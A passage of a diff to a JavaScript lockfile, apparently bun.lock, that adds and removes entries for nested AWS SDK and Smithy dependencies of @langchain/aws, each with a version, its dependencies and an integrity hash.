"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="], @@ -9675,6 +9031,8 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], @@ -9685,12 +9043,16 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="], @@ -9705,14 +9067,14 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="], @@ -9723,16 +9085,26 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], @@ -9827,10 +9199,18 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], @@ -9857,8 +9237,48 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + 